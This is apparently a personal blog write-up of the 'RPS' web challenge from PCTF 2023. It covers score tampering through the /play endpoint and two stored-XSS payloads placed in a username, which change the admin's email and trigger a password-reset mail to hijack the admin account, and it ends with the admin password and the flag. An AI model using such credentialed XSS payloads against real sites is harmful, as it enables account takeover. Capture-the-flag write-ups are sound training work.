sichej

‘didn’t find a quote yet’

07 Mar 2023

RPS Writeup

RPS Writeup

PCTF 2023

Challenge text

Maybe the “admin” holds the secret to winning Rock, Paper, Scissors against the computer. In order to hide it, they keep checking the leaderboard every minute, keeping track of the top players and taking caution against them.

Beat them at their own game.

Category: Web
Solve: 4
Points: 500
First Blood 🩸

Description

This challenge didn’t have any source code, so I tried to play with it just to know what to expect. From the description seems that we need to play Rock, Paper, Scissors against the CPU and beat it. First thing to do is register with Username, Name, Email and Password. Now we are ready to play!
We face this page when we start playing:
play screen Analyzing it we find a play.js file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function play(e, choice){
    if(gameStarted == true && gameEnded == false){
        let computerChoice = weapons[Math.floor(Math.random()*3)];
        cpu_choice.textContent = computerChoice;
        if(computerChoice == weapons[(weapons.indexOf(choice) + 2)%3]){
            playerScore += 1;
            player.textContent = playerScore
            result.textContent = `You chose ${choice}. You won the Round`;
        }
        else if(computerChoice == choice){
            result.textContent = `You chose ${choice}. Round ended in a Draw`;
        }
        else {
            gameEnded = true;
            const xhr = new XMLHttpRequest()
            xhr.open('POST', 'https://rps.ctf.pragyan.org/play')
            xhr.setRequestHeader('Content-Type', 'application/json')
            xhr.onload = () => {
                document.documentElement.innerHTML = xhr.response
            }
            xhr.send(JSON.stringify({score: playerScore}))
        }
    }

}

So when you loose the server send a POST request to /play with your point, in this case 3:

1
2
3
{
    "score":3
}

This part is very easy, looking at the leaderboard we see that the first player (fake) has 4 points, so to get to the head of the leaderboard just modify the payload with a value greater than 4.
Now we are at the top of the leaderboard.
leaderboard screen We know that the admin checks the leaderboard once a minute so if we create an XSS in the leaderboard we can exfiltrate cookie maybe. The score can be only a number so no XSS there, it remains only the username. After some time we understand that cookie-stealing was not the solution. Inside the /profile it is possible to change the username and the email, and also request the own password by email. So if we can change the admin’s email with an our email, and then make the admin ask for the password by email, the email with the admin’s password will arrive to our email.
Time to exploit! Thanks to my friend @kriive for the help to solve this challenge!

Exploit

First exploit has to change the admin’s email with our own when the admin check the leaderboard, we changed our username with this so when the admin checks the leaderboard the script will do its job:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<script>
    fetch("https://rps.ctf.pragyan.org/email", {
        method: "POST",
        headers: {
            "Content-Type": "application/x-www-form-urlencoded",
        },
        credentials: "include",
        body: "newEmail=youremail%40gmail.com",
    });
</script>

This one changed the admin’s email with our own, after a minute we changed again our username, this time with:

1
2
3
4
5
6
7
8
9
<script>
    fetch("https://rps.ctf.pragyan.org/pass", {
        method: "POST",
        headers: {
        "Content-Type": "application/x-www-form-urlencoded",
        },
        credentials: "include"
    });
</script>

Now when the admin checks the leaderboard, the XSS will send the admin’s password the the email we previously changed. email screen

Now we have the admin password, we can login with admin:E05kGsVPZitG1m4dhjshfda and get the Flag

Flag

p_ctf{X5S_g0e5_w3l1_wit2_rp5}